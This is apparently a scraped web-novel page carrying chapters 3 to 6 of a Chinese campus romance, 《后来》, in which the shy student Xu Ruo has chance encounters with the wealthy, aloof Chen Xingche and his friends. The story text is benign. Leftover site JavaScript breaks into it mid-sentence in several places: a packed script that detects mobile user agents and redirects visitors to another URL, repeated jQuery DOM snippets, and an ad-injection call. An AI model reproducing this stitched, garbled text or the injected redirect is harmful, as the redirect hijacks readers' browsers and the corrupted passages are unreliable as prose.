《后来》 3. 偶遇 许若没想到,她会在最自卑的时候和陈星彻有所交集。 开学之后,因为宋楚的关系,陈星彻偶尔会在她接水或出去上厕所的时候,到她的位子上坐一会儿,她从不会主动要求他离开,基本是远远站着不打扰,等他离开之后再坐回去。 他们从不互相讲话。 最近一次接触是前天,他拿她的笔转着玩,上课时拿走了,下课又给她放回课桌上。 宋楚对陈星彻一直爱搭不理的,这让班上不少人感到好奇。 这天当宋楚把陈星彻给她带的一杯奶茶丢给董巧巧喝时,董巧巧实在忍不住,转头问了一句:“宋楚,你为什么会讨厌陈星彻啊?” 宋楚正往手上涂指甲油,闻言脸都没抬,笑:“我为什么不能讨厌他?” 董巧巧脱口而出:“他可是陈星彻!” 宋楚一怔,停下手上的动作,桀骜挑眉:“那又怎样,我可是宋楚。” 董巧巧被这句话帅到尖叫,一脸崇拜地说:“妈呀,宋楚你真的好酷!你就是我女神!” 宋楚飒飒地勾唇,又低头继续涂指甲,虽没有太多表情,但还是能看出她被恭维后心情很好的样子。 董巧巧又问:“你们怎么认识的呀。” 宋楚吹了吹指甲,漫不经心说道:“他和我哥玩得好,自然而然就认识了。” 许若在一旁安静地听着。 宋楚的家世在学校不是秘密——她的确有高傲的资本,她的父亲是娱乐圈大鳄,早些年和火遍亚洲的影后乔兰结婚生下宋叙西,后来离婚,和一个美国名媛生下宋楚,没过几年又和乔兰复婚。 宋楚口中的哥哥宋叙西,比他们大一届,曾经也是星南的风云人物,和陈星彻一个圈子的,考上戏剧学院后,校园墙上不时还会出现他的消息。 或许是因为同父异母的缘故,宋楚明显和宋叙西关系一般,提到他时也不愿多说什么,只道:“反正我不喜欢陈星彻这人,你没发现他对谁都劲劲儿的吗,根本不会低头的一个人。” 董巧巧说:“毕竟他是陈星彻嘛。”又八卦地问,“那你喜欢?” 宋楚想了一下。 董巧巧踊跃猜道:“陆燏怎么样?” 宋楚露出一个作呕的表情:“病秧子一个,天天没睡醒似的,你少恶心我了。” 董巧巧表情一滞,难以置信会有人这么说陆燏,毕竟陆燏雌雄莫辨的病娇美,可是被全校许多女生拥趸的。 宋楚最后涂了下小拇指,把指甲油盖上,悠悠瞥了眼前面正低头做题的班长张赭,又把纤纤玉指高高扬起,放在太阳底下看,问:“好看吗。” 董巧巧忙说:“好看。” 宋楚笑笑,又瞥许若:“好看不?” 许若抬头,只见原本指如葱根的纤纤素手,此刻被饰以海葵紫的色彩,神秘又妖艳,把皮肤衬得更加白皙细腻。 许若诚恳地说:“很美。” 宋楚满意地把手放下来,又对董巧巧说:“我刚涂上指甲油,不方便接水,你帮我接一杯吧。” 口吻并非商量,也并非请求。 董巧巧却没觉得任何不合理,很高兴就拿着宋楚的杯子去前面排队了。 许若也起身去接水,没一会儿察觉身后有人排队。 她回头才发现是张赭。 张赭瞥了眼董巧巧手里的杯子,说:“她还真是个公主。” 董巧巧愣了愣,看了眼许若,吐吐舌头一笑。 许若则没什么表示。 张赭边摞开水杯盖子,边对许若说:“今天周五,晚上咱俩做值日,你别忘了啊。” 许若说:“我没忘。” 张赭又说:“我最后一个课间就把拖把涮好抹布洗好放那,等下课直接干活。” 许若点头:“好,那我扫地和倒垃圾。” “……” 闲聊几句,接完水后许若走回位子上。 宋楚慢悠悠吹着指甲,随口似的,问道:“班长和你说什么呢。” 许若说:“没什么。” 宋楚瞥了眼张赭,又看了眼许若腮边的痘痘,很快不在意地说了声“哦”。 放学之后,许若留下来做值日。 张赭和她一组,他去擦黑板,她拿着扫把先扫地,路过陈星彻课桌的时候,帮他多扫了两遍地。 张赭忽然问道:“你带伞了吗。” 许若起身,不小心撞到陈星彻的桌子,桌洞里滑落几本书。 都是他的课本,无比崭新,似乎从未被翻开过,她边回答“带了”,边把书拍拍灰,又塞回他的桌洞。无意间一瞥,这些课本连名字都没写,也不知道他怎么学得习。 张赭走过来,说:“好像要下雨了,你先回去吧,剩下的我来,反正我住校,不用担心路上挨淋。” 许若一瞧,外面的天空阴云密布,狂风把树梢刮得弯弯。 昨天晚上,她和关以宁约好今天放学后去大学城吃土豆泥拌饭,从关以宁的学校走更方便坐地铁,所以二人约定在一中门口碰面。 只是天气不好,也不知道关以宁还要不要去。 许若去书包里拿手机,才发现手机没电了。 既然约定好,她还是要尽快赶过去的,她转头对张赭说:“班长,麻烦你了,我下次多干点。” 张赭笑:“这有什么,都是同学别见外。” 许若笑笑,拿起书包,临走前,和张赭挥手说:“你也快点回宿舍。” 张赭一眨不眨望着她,笑说:“路上慢点。” 许若走在楼道里,就感觉风一股股往身上灌,走出教学楼,迎面的大风夹杂着雨丝糊了一脸,她差点没撑开伞。 后来勉强用伞挡着风雨离开学校,在门口打了辆出租车去找关以宁。 刚到一中,就从车窗看到关以宁撑伞的身影。 许若下了车,伞没撑住,索性直接跑过去。 关以宁看到她,也向她跑来,把伞往她身上倾斜,提前让伞遮住她,继而才让自己躲进伞底。 许若说:“对不起呀,我手机没电了。” 诺基亚充一次电能用半个多月,反倒让她常常忘记充电。 短短几步路,许若浑身湿透,关以宁说:“我就知道和你说好了,天上下刀子你也一定会来。” 许若笑笑:“因为你也会等我嘛。”说完又问,“那咱还去吗?” 关以宁说:“今天别去了,咱们还是赶紧回家吧,我怕打雷。” 许若说:“好。” 于是二人冒雨去乘地铁,刚走没几步,一辆卡宴从路中央疾驰而过。 关以宁转身看了一眼,说:“这车好看。” 许若连头都没转,口罩湿湿的黏在脸上不舒服,她只想快点进地铁站处理一下,催促道:“我们还是快走吧。” 关以宁却碰了碰许若的胳膊肘,又惊讶又疑惑:“它怎么又倒回来了?” 许若这才转头,只见那辆卡宴从二十米开外的地方漂移似的倒了回来,一气呵成地停在许若身边。 后车窗缓缓降下来。 许若意外地屏住呼吸。 她看到宋楚,以及坐在宋楚旁边的陈星彻。 陈星彻换回了平时穿的衣裳,一件简单的黑T恤,气质比以往冷漠,也更有气场,副驾驶的位置坐着陆燏,身子扭成了麻花,转头和他聊些什么。 陈星彻正听陆燏说话,丝毫不关心车子为什么停下,以及外面的雨有多大,人有多狼狈。 宋楚向许若say hi,问:“你怎么在这啊?” 许若说:“我来找我朋友。” 宋楚看她一身湿淋淋,又见路边一大滩积水,笑问:“不会是我哥技术不行给你溅的吧。” “宋楚……”驾驶室里传出警告,男声如潺潺溪流从喉咙里流淌出来,清新悦耳。 许若知道了,开车的人是宋叙西。 她下意识往驾驶室看,只看到雨打玻璃的斑驳和潮湿。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13757926|145509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋楚被警告后,翻了个白眼,又要说什么。 似乎是有雨丝飘到车子里,陈星彻忽然说:“行了,快关窗吧。” 他说这话时,瞥了宋楚一眼,没往外看。 宋楚还没表示,窗户就被升了起来,应该是宋叙西操作的。 与此同时,车辆缓缓发动,又开走了。 许若目送他们离开。 关以宁瞪着眼睛问:“这你同学啊?” 许若声音似呢喃:“嗯。” 关以宁惊叹:“真美,她是我在现实生活中遇到的最最最好看的女生。” 最好的朋友无意间夸了情敌,这滋味,想必只有感受过的人才懂。 许若晦涩地想,何止宋楚,车上的人,哪一个不是惊艳众生? 雨声嘈杂,关以宁握紧了伞柄,对许若说:“我们快走吧。” 许若点头:“好。”最后又看了眼那辆卡宴消失的地方,“走吧。” 这天她们在告别之前,约定次日再去吃东西。 回家之后,许若已是落汤鸡模样,脸上也发红。 父母都在加班还没回来,她去冲了个澡,又仔细将皮肤护理一遍。 次日夕阳西下,许若和关以宁在公交车站碰面,一起乘车去大学城。 她们事先没有约定过,竟然都穿了红色的衣服,关以宁是一件泡泡袖的红色连衣裙,而许若是一件红色的波点短袖搭配牛仔裤。 一问才知,两个人的衣裳都是该洗的,吃路边摊也不怕沾上味道,不由对视着笑起来。 公交车的车窗大开着,微风吹拂,路两旁梧桐树的叶子碧绿茂盛。 很是奇怪,往年八月底就能感觉到空气里的凉意,然而今年都已经九月下旬,竟还是燥热。 夏天似乎被延长了。 到大学城时,土豆泥拌饭的小店门口已经排了好长的队,于是许若和关以宁分工合作,关以宁先去排队,许若去便利店买喝的。 许若走进一家“7·11”,径直往饮品货架区走。 她与货架之后的人擦肩而过,却在几秒之后缓慢地愣住,扭头,看到一张熟悉的面孔。 男生专心致志地游走在货架与货架之间,浓密的眼睫懒懒垂下,扫视着货架上的食物,手指漫不经心地点过不同包装的饼干,拿起其中一包,端倪一阵又放下。 许若不由自主随着他的脚步前进,走过一个又一个货架,偷瞥他在拿起某个食物时,微微皱眉的样子。 他还是穿黑色衣裳,脖子上挂着银色耳机,随性又帅酷,只是神情淡淡的,眼眸中像住着一颗清冷的星星。 就这样走过三个货架。 他在走到薯片区时,忽然抬头。 她赶忙拿起一袋饼干,佯装低头端详。 过了会儿,察觉没有动静,她才抬眸偷瞥了一眼,却发现他已经走到饮品区去了。 她这才想起自己的任务,于是也走过去。 到饮品区他没有再精挑细选,拿起一瓶味全的葡萄汁就走。 许若想,这应该是他平时喝惯了的东西,于是也拿了两瓶,跟在他后面排队。 他前面只有一个人,很快排到他,就当他准备付款的时候,一个女生忽然在同伴的推搡下走过来,故作轻松问道:“同学,可以加你一个联系方式吗。” 女生手上拎着印有考研字样的帆布包,看样子应该是大学高年级的学生或研究生。 她没有很忸怩,所以声音并不小。 然而他却像没听见,伸出手机,“叮”一声付款。 女生等了几秒,见大家都在看她,实在骑虎难下,又鼓起勇气问一句:“可以吗?” 许若眼看着女生脸慢慢变红。 他收回手机,瞥了女生一下,眉眼清冷。 许若以为他会直接走掉。 谁知他忽然漫不经心地挑了挑嘴角,声音好似清川流过碎石滩: “不好意思啊姐姐,我未满十八。” 4.心酸 那一刻,心底好像泛起香槟泡沫。 醉醺醺地感到失神,发晕,呼吸急促。 不得不说,有些人就是这样,连拒绝的话都撩人,站在那什么都不干都让人小鹿乱撞。 尽管这只是他百无聊赖的冷幽默而已。 但他走后,女生的朋友们都围上来,每个人都被他苏得七荤八素,话里话外都在回味他的神情和声音。 她们都不知道他究竟是谁,懊恼怎样才能知道他的名字。 许若面上完全一副过路人不感兴趣的样子,心里却因为只有她认识他而小小地虚荣起来。 许若走出便利店,看到关以宁还在苦逼兮兮地排队。 不过还好,前面目测只有四个人在等餐,许若走过去,给她一瓶葡萄汁,她接过之后却没急着打开,而是一副煞有其事的表情,对许若说:“若若,我看到一群帅哥!!!” 许若没当回事,问:“哪呢。” 关以宁小眼神连连往店里瞟,压低声音激动地说:“你快瞧,怎么办,他们帅得我腿软啊。” 许若摞开瓶盖,随意望过去,葡萄汁差点泼身上。 门口那桌四个人,分别是陈星彻,陆燏,赵杭以及一个眼熟但不知道,和赵杭长得略像的男生。 这是什么鬼运气……之前两三个月也遇不到的人,现在一天能偶遇两次。 难道和他同班后,就感应到了他的磁场? 关以宁小声问:“帅吗帅吗?” 许若不知道用何种心情说了句:“……帅。” 然后关以宁开始叽叽喳喳聊起来,又是评价男生们的长相,又是幻想哪个更适合自己。 许若虽然句句有回应,但心思全在那四个男生身上。 听见赵杭笑说:“跟着我麒哥,永远能找到好吃的。” 陆燏哼笑:“那可不,他吃饭第一名。” 这大概是陈星彻最接地气的地方,从前许若也常见他在校门口买路边摊,他爱美食不是秘密,校园墙上关于他的帖子里,十条里倒有五条是大家偶遇他在某处吃饭。 印象最深是在高二放寒假那天,她走出校园,见他拎了袋豆腐脑上了一辆白色车牌的车。 思绪未断,队伍却排到许若她们了,老板娘问:“你们吃什么口味?” 许若回神,说:“我要两个土豆,不要虾仁和香菜,不要辣。” 那边,赵杭呛了陆燏一句:“哪像你,让你吃个饭跟要你命似的。” 赵杭旁边的男生边拌饭,边睨陆燏一眼:“就是,陆叔不常说吗,你十岁了还要阿姨端碗满屋追你喂饭。” 陆燏舌尖顶腮,骂了句脏话笑:“妈的,赵柏赵杭,陈星彻给你们兄弟俩什么好处,让你俩抢着挤对我。” 赵杭笑:“没好处也得帮我麒哥啊。” 赵柏:“我们什么关系,你,一边玩去。” 陆燏边抓头发边骂:“操……” 陈星彻就在那边吃饭,边肩膀一抖一抖坏笑。 赵杭是陈星彻的舅家表弟,比陈星彻小了半岁,整个学校都知道他喜欢黏着陈星彻玩,算是陈星彻的跟班。 那么这个叫赵柏的,应该就是赵杭的哥哥了,看样子年长赵杭三四岁,所以许若不熟。 许若不时往那边瞥。 他们每个人面前都有一份土豆泥拌饭,唯有陆燏那盘一点没动,怪不得这么瘦,原来是不爱吃饭。 可再看陈星彻,吃得那么满足,怎么也不胖呢,反倒是有线条感的瘦。 正想着,陆燏打眼看见了许若。 目光明显定住一秒,转而朝陈星彻勾眉,问:“这女的有点眼熟,谁来着。” 许若没被陆燏这句话吓死。 虽平静地站在那,耳朵却竖得老高,余光见陈星彻抬了下头,很快又迫不及待埋进碗里吃东西,随口说:“没印象。” 许若的心像被一只手攥紧,狠狠地从身体里薅下来,摔在地上踩烂了。 明明就在一个班。 明明时常会到她的座位上小坐。 他居然说没印象…… 老板娘把土豆泥端过来时,许若像只木偶般说“谢谢”,舌头都打结。 关以宁没发觉许若的变化,还迫不及待拉她往屋里去。 许若却挣开她,扯了一只袋子说:“打包吧,这里人太多了。” 关以宁立刻瞳孔地震,感觉天都要塌了,一个劲儿使眼色,低声道:“你搞什么,这有帅哥啊。” 许若恍若未闻,把土豆泥一股脑倒进袋子里,转头就走。 关以宁云里雾里地愣了几秒,才追上去。 在许若大脑空白只想逃跑的那几秒,没注意到赵杭抬头看了眼她,说:“这不宋楚的同桌吗?” 陈星彻闻言又抬眸,看到的却是许若转身的背影。 赵杭笑:“我印象可深了,她是一个很有初恋感的姑娘,白月光型美少女。” 陆燏啧一声,说:“你那心怎么三天两头就动一动啊。” 赵杭差点被饭呛到,忙说:“谁动了,我又不是没看过她摘口罩的样子。” “……” 几个人在这边插科打诨时,陈星彻脑海里慢慢浮现出对许若的记忆——班里的第一名,宋楚的同桌,很安静的一个女孩。 他不是对她没印象,只是对谁都是一样的不上心。 于是很快又低头吃饭。 吃了两口,赵柏忽然问陈星彻:“提起宋楚,你那事儿怎么样了?” 陆燏抢先道:“别提了,现在这俩人满学校闹绯闻,我们麒都成舔狗了。” “滚。”陈星彻笑着给了陆燏一脚。 陆燏见陈星彻沉默,又问:“你没想着解释?” 陈星彻不在意地说:“没。” 又把陆燏面前几乎没吃的土豆泥端过来,边搅拌边说:“又不是什么事,值得我动嘴皮子?” 赵杭这次却站在陆燏这边:“燏哥也没说错,我瞧你越上赶着宋楚越来劲,都飘死她了。” 赵柏听迷糊了,问道:“什么情况,发生什么了?” 陆燏抬抬下巴:“你问麒。” 陈星彻和宋楚这事儿很简单,当初他看中了一个过世的摄影大师的成名作《众神的晚霞》,想买时才发现这幅作品早被宋爸买回去给宋楚当生日礼物。 他本想买回来,可是过世艺术家的作品本就珍贵,加之又是大师成名作,有钱也难买,宋楚也喜欢得紧,毫无商量余地就回绝了他。 所以陈星彻开始行动了。 为了得到想要的东西,他可以暂时放下身段,忍耐他不愿意忍耐的事情。 尽管宋楚常说他没诚意,老是端着架子,对她好都是目的满满、浮于表面,但这已经是他最大的让步。 “好好吃饭,别提那些事,烦。”面对大家的询问,陈星彻不愿多说。 赵柏知道陈星彻的性子,笑道:“你就不能不要,一张照片,有那么重要。” 赵杭笑了:“哥,你又不是不知道他性子,他是一个上午想吃豌杂面,中午就飞去重庆的人,你指望他放手?” 赵柏一怔,失笑道:“要我说,你就是被惯坏了。” 陈星彻笑笑,没反驳。 他不否认,他身上确实有股死犟的脾气。 谁让他出身好背景硬又是独生子,外人顺着他,家人也都惯着他,导致他要什么必须是一句话的事儿,得不到就开始闹脾气,让全家人都不好过,后来要不是他妈受不了,狂打他几顿,他性子被养废了都有可能。 天边晚霞像火,风轻轻。 关以宁追上许若后,许若简单解释了几句,又充满歉意地请她喝了奶茶。 姐妹间的默契让关以宁察觉到许若的低落,没有多问什 () { $(''.inform'').remove(); $(''#content'').append('' 么,后来两个人随意找了一家小摊儿,吃完土豆泥拌饭才分别。 许若回到家时,吴佳蓉正和许萧通电话。 她换完鞋子,过去和许萧说了几句话,随后回屋写作业。 也不知道过去了多久,她回神,发现演草纸上密密麻麻都是陈星彻的名字。 她看着这些条件反射般的笔画,思绪飞远。 许若第一次见到陈星彻,是在高一刚开学不久的校庆上。 当日晴空万里,彩带和金片一同纷扬掉落的时候,几声清脆的架子鼓镲片声“嘭嘭嘭”有节奏地响起来,所有人的注意力都被这几声鼓点而吸引过去。 台下女生一片欢呼,她随大流抬头看,只见台上的男生穿了一身简单的黑衣,比起演出服更像是私服,故而显得散漫极了,他的脖子上叠戴三根银链,最长的那根垂下一颗四角星,随着他打鼓的动作来回晃动,漫不经心地酷。 大屏幕毫不吝啬地给他脸部特写,他的轮廓线条利落,眉骨俊逸锋锐,引台下一片尖叫。 他的架子鼓打得熟练,强烈的金属音响和丰富多变的节奏,让人忍不住摇晃躁动,他随意抛出鼓棒,微微挑眉的小神态透出张狂劲儿,让许若的心一下子空了。 然而这还没到重头戏。 鼓点停止时,男生拿掉立麦上的话筒来到台前,所有人都默契地沉默下来,等待他接下来的表现。 他忽然清唱: “Mama, just killed a man, 妈妈啊 我刚刚杀了个人, Put a gun against his head, 我拿枪指着他的头, Pulled my trigger now he''s dead 扣下扳机,枪响人亡。 ……” 是《波西米亚狂想曲》。 许若忘记当时大家沸腾没有,反正她是被狠狠震颤到了,难以置信这首歌会出现在这样的场合。 他清唱过后,身后的黑色幕布“唰”地落下,出现一支乐队。 后面是一场让人终生难忘的表演。 他嗓音偏苏,音色特别,沙哑中带着慵懒,却出奇地把这首摇滚风的歌,唱的格外对味儿,疯魔中夹杂堕落的狂欢,连咬字都那么好听,气息有几处不稳,反而更有一种不淋漓尽致不痛快的投入感。 这样一个人,许若不知道怎么做,才能不心动。 而她真正确定这份心动不是单纯的仰望,而是一种喜欢时,已经是两个月后。 众所周知,星南的“星”之所以是陈星彻的星,原因就在于陈星彻的妈妈是学校的主要创办人。 某日,陈星彻和朋友翻墙翘课被来校视察的妈妈抓个正着,五六个人在教学楼下罚站。 许若那天上完体育课,从他罚站的地方路过,隔着一道拐角听他妈妈凶他:“给我站直了!没正形的死样子,罚站你还骄傲上了?” 不知道是谁中二病犯了,说他是:“骄傲长在骨子里,烧了还有一把灰。” 他妈妈就气笑了:“呦,你们还学会给陈星彻写赞诗了啊。” 他声音懒散带笑,开玩笑起哄,说:“再来一句呗。” 那一刻,许若感觉心跳得非常快。 尽管接下来是陈星彻被他妈妈暴揍的场面,但她还是觉得有什么不一样了。 因为那是她第一次发觉,她不是因为他足够好才愿意注视他。 而是知道他也叛逆,乖张,会耍小性子,有坏脾气,有时嘴巴还欠欠的,却还是很心动。 可是她的情绪有什么用呢。 他的眼神,永远不会在她身上多停留一秒,他也永远不会记得班里还有她这么一号人。 乱我心者,今日之日多烦忧……思及此,许若把那张写满了他名字的演草纸一点点撕碎了。 5.接触 第二天是周一,吴佳蓉要早起去印厂,没有做早饭,许君山带许若去吃早点,吃完后顺便送她去学校。 全家人都不喜欢坐许君山的车,车里到处是钓鱼用品,还有淡淡的鱼腥味,后来还差一个红绿灯就到学校的时候,许若提前下车步行。 在快走到学校门口的时候,身后有人喊了声—— “许若。” 许若的双脚顿时被钉在原地,脑袋里嗡嗡作响,身体里狂风大作。 她感觉身后的人正朝她走过来,一股凛冽的冷香顺着风的方向一同吹来。 当他走到她面前的时候,她抬头。 他好高,她一六八的个子,他目测比她高上二十公分,因此他需要垂眸看她。 这是陈星彻第一次喊许若的名字。 他的声音给人冰凉清冽的感受,像是细细密密的苏打气泡水泛上来。 见她抬头看他,他接着问:“帮个忙?把我书包带上去行吗。” 许若感到非常吃惊。 昨天他不还是不认识她吗?为什么一个晚上过去,他反而可以准确无误叫出她的名字?还找她帮忙? 她没有控制住,露出了茫然的表情。 看上去就像在问——你确定是在和我说话? 可陈星彻却一脸如常,又问一遍:“行?” “你去哪?” 原本以许若的性格什么都不会问的,因为太懵了,才话赶话问出来。 陈星彻瞥了眼不远处的一排早点铺,说:“我还没吃饭。” “麒哥,快点。”话还没落,那边赵杭喊了。 许若扭头,只见四五个男生站在一家临沂糁汤的门口,一个个都没睡醒的样子,许是被陈星彻叫出来强迫陪他吃饭的。 许若已经恢复理智,淡淡点头,说:“好。” 她两只手接过陈星彻的书包。 陈星彻看着她的动作,勾了下唇角,因为他忽然想到,这还是第一次留意到她是什么声音。 很清爽,嗓子里像是藏了一捧森林深处的清新氧气。 他随意说:“谢了。” 许若抬眸,刚要说:“不用……谢。” 最后一个字还没说出口,陈星彻就转身往路那头走,绿灯还剩三秒,他跑起来,头发在灿烂晨光下跳跃,他的衣摆生风,整个人像镀了层金光。 许若目光深深,目送他过了路。 同时忍不住乱想,难不成只有她穿校服他才能把她认出来? 去教室的路上,许若把书包抱紧又抱紧,像抱着个大宝贝。 这是第一次和他如此靠近。 或许因为有任务在身吧,她来不及雀跃,心里只觉得庄重,走路像禁卫军那般严肃谨慎。 许若一共见陈星彻背过两个书包,一个是LV黑色双肩包,另一个就是怀里这个匡威书包。 他几乎不背包上学,只是今天有游泳课,她想,他书包里装的大概是泳具。 回到教室之后,许若把陈星彻的书包放到他的椅子上。 张赭恰好从后门进来,问:“你帮他拿的书包吗?” 许若看了张赭一眼,说:“嗯,路上偶遇,他去吃饭,让我帮忙拿上来。” 别人巴不得和陈星彻扯上关系,偏她有板有眼地解释,不给人留一丝遐想空间。 张赭点点头笑了,感觉这姑娘诚实到有些正直。 许若回到座位上,擦了擦桌椅,掏出要上交的试卷,把晨读要用的课本拿出来,然后她捂住耳朵,闭目,看似在背书,其实是给自己三分钟的时间把陈星彻从自己脑子里赶出去,不然她真是无法专心学习。 接下来许若效率还行,晨读课铃响之前,她把一整页的政治讲义背了一遍。 后来体育委员组织大家下楼去升旗,她往外走时特意回头看了一眼,陈星彻还没回教室,到操场之后,才发现他直接去操场等着了。 国旗仪仗队里有陈星彻认识的人,他正靠着旗杆和他们聊天。 仪仗队的男生们个个身着军绿色的护卫队礼服,帅得一身正气,只有陈星彻一个穿校服的,靠近领口的两粒扣子没系,放浪形骸的样子。 有人看到班主任李璐,提示他可以归班了,他才笑着系纽扣,脖子扬起,喉结弧度如山峰峦起,他掏出领结,很随性地用手指扯一扯,竟把戴领结的动作做出了摘领结的欲气横流。 许若佯装无意地瞥他几眼,这一幕却是再也忘不掉了。 陈星彻昨天吃完晚饭后,被陆燏一帮人拉着去打麻将,没收住打到凌晨四点。 升完旗后,只想回教室补觉。 来到座位上一拉椅子,才发现他的书包没放桌子上,而是被许若放在椅子上,就像一个小人儿似的坐在那。 他朝她那边看了一眼,她还没回来,他把书包挂在书桌侧面的挂钩上,又觉得不困了,随意捞起一支笔转着玩,翻开汪曾祺的《人间草木》,津津有味看作家用文字烩豌豆,心想回头要尝一尝。 许若回到教室就看陈星彻正看书。 因为早晨这个插曲,她心情很好,背书都比平时大声。 大课间的时候,宋楚喊许若陪她去超市买吃的垫垫肚子。 二人走到室外篮球场的时候,宋楚被球场上的身影吸引了过去,临时改道,拽许若去看男生们打球。 走到球场外时,隔着铁丝网就看张赭投进了一个三分球,一阵欢呼声爆发。 宋楚立刻吹了个口哨,喊道:“张赭你可以啊。” 张赭回头,看到宋楚,紧接着又看见旁边的许若,两眼顿时亮起来,露出白牙笑:“许若,你来了。”又问宋楚,“你们下来干吗,别告诉我专门来看打球。” 宋楚斜睨张赭,哼笑:“就是专门来看你打球不行吗?” 张赭一怔。 他还没接话,旁边的男孩子们纷纷起哄道:“呦,张赭可以啊……” 张赭脸都红了,笑骂:“去去去,别乱说。” 他看了眼许若,又把视线移到宋楚身上,说道:“他们就爱开玩笑,别理。” 说着下了场,拿起旁边的校服外套和矿泉水,走了出来。 宋楚靠着篮球场入口的铁门,两条长腿.交叠在一起,曲线美展露无遗,她有着傲人的身材,以及令人眩目的漂亮脸蛋,不少人的目光都往她身上打转。 张赭出门后,先是仰头喝了口水。 他皮肤小麦色,薄汗略显野性,荷尔蒙满满,和平时周正严格的老干部样子有所反差。 许若注意到,宋楚的眼睛在发亮。 张赭喝完水后。 宋楚忽然开口:“我这周六过生日,你来吗,我请你。” 张赭明显愣了愣,才笑:“这么突然的吗?” 宋楚搭着眼,摸了摸指甲上的紫色,看似漫不经心,语气像是在下命令:“怎么,你还不愿意啊?” 张赭说:“不是。” 他顿了顿,似乎不知道怎么组织语言,干脆直说:“我一个‘平民’,不知道怎么参加你的生日会。” 星南高中虽然是全市排名第一的私立高中,但并非纯粹的贵族学校,这里学生可以分为两大类,一类是极有钱类似宋楚这种,另一类则是学习极其好类似许若这种。 也正是因为有这样的划分,学校里有很多学生是注定要走应试教育这条路的,所以学校才会坚持稳抓成绩这一块,高一高二虽然保持着五点半放学,但高三却设置了晚自习。 而张赭是和许若相同的后者。 他家境普通,是凭优越的成绩,学费全免、食宿全包进校的。 宋楚却不理解张赭的疑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 虑,反而觉得他在变着法拒绝她,顿时有点不耐烦,皱眉道:“什么怎么参加啊,就直接去就行了呗,到那儿吃蛋糕唱生日歌,这还用我教你?” 张赭又是被她的话堵得一怔,不知道该说什么好,就看了眼许若,问:“你也去吗?” 许若有点出神,闻言顿了一秒,才说:“我不……” “她去啊。”宋楚说,声音有点不易察觉的虚,“她是我同桌诶,我肯定先邀请她。” 许若懵然地看了宋楚一眼。 宋楚昂着头,悠悠睨向许若,虽然没什么表情,但许若还是感受到了高高在上的威胁。 许若点头:“嗯,我也去。” 于是张赭才点点头:“好,那我到时候过去。” 又道:“提前祝你生日快乐。” 宋楚这才挑眉露出一个笑容。 这抹笑有点小小得意,骄傲而又隐隐压抑这股欣喜,许若觉得宋楚虽然大小姐脾气,却也不失年轻女孩的春心和可爱。 生日宴的事情说完之后,张赭要回教室,宋楚完全把要去超市这事儿抛之脑后,也随他回班。 许若本来也要回去,路过花坛时,看到一只小黑猫。 她最喜欢小猫了,小区里的流浪猫她平时没少喂,于是心念一动,打算去超市买火腿肠喂它。 大课间超市总是爆满。 许若在超市排了好久的队才结账,刚出超市大门上课铃就响了。 她纠结一番,心想反正都已经迟到,排了那么久的队好不容易才买到火腿肠,不喂小黑猫未免太亏,所以还是去花坛找到小猫,把火腿肠喂给它。 进教室已是上课五分钟后。 许若从五楼一路跑上来,累得气喘吁吁。 一进门,正撞上英语老师抽查背课文,偏偏抽查的那个同学背得极其磕巴,简直把英语老师气得七窍生烟。 许若好死不死撞老师枪眼上了。 英语老师也没问许若为什么迟到,直接没让许若进教室,说道:“课文背出来你就回去,背不出来,你就站着。” 许若本来背过,可全班都在看着她,她又刚爬完五楼,又紧张又累,哪里还记得住什么课文,大脑一片空白。 许若嗫嚅着半天说不出一个单词。 脸很快红了,忙将脑袋埋下去。 英语老师冷哼一声,压着怒气道:“我怎么教出你们这帮孩子!” 又把书往讲台上猛地一摔,对许若说,“你给我拿着书到教室后边站着,别挡门口碍我的眼。” 这一声让正睡觉的陈星彻一激灵,就这么醒了。 抬头看,见许若正在教室门口站着,丝毫没关心发生了什么,揉揉眼醒神,伸了个懒腰。 许若出糗后,第一时间留意陈星彻,恰好见他看了自己一眼。 长这么大,她还是第一次被老师惩罚,偏偏还被陈星彻看到了,她恨不得以头抢地。 陈星彻拧开矿泉水瓶,喝了两口,困意一扫而光。 许若拿书走过来时,忍不住又往他那窥望一眼。 他边喝水,视线边扫向她。 他刚睡醒,神态中带几分倦怠的懒意,眼眸比平时淡漠,凉薄,像刀光冷冷一瞥。 在许若心里,那一刻陈星彻是高傲的,她则很低很低。 她垂眸掩饰什么,心里的难过竟大于羞耻,一颗心乱七八糟。 她罚站的地方就在陈星彻右后方。 后来一节课都听得心不在焉。 而他醒了一会儿又睡了。 也是,对于他来说,出国是家常便饭,英语相当于母语了,哪里用得着上什么英语课。 想到这,许若更觉得自己和他差距好大。 而这份差距没办法用物质衡量,而是漫长时光里塑造的不同的灵魂。 6.李岁 宋楚的生日派对定在这周六。 周五放学之后,许若喊上关以宁去给宋楚挑礼物。 宋楚家境富裕,不缺贵重的礼物,贵重的礼物许若也送不起,只能凭心意。 最后二人挑挑拣拣两个小时,在一家古着店买了一本植物标本书——书皮是由纯牛皮制成,扉页上用炭笔写了一个隶书大字:「西」,不知道是不是这本书的名字,书里面的花叶全是用压花手工一张张制作而成,耗时耗力,因此薄薄一本书就卖七百多元。 回去的路上,许若越想越不踏实。 倒不是觉得这本书太贵,而是感觉宋楚的性格不像是会喜欢这种礼物的人,送给她之后很可能被随手放到一旁,不被珍惜。 于是她又打车回去,踩着古着店下班的时间,挑了一串手链。 这款手链有质感也有重感,镶嵌的水晶还是紫色,很契合宋楚身上性感而蓬勃的魅力。 因为买了植物书,许若剩下的钱只够买半条手链,关以宁身上就五十块钱,关以宁提议先把植物书退了,自然就有钱买手链,可许若实在是舍不得,两个人的手机都是没办法扫码付款的诺基亚,最后还是许若打电话给吴佳蓉,吴佳蓉又专门开车过来付钱,才把手链成功拿下。 离开古着店后,关以宁连连感慨:“阿姨真好,要是我妈,肯定不愿意大老远过来,就算过来了,得知一本书七百多,估计会当场暴骂我一顿。” 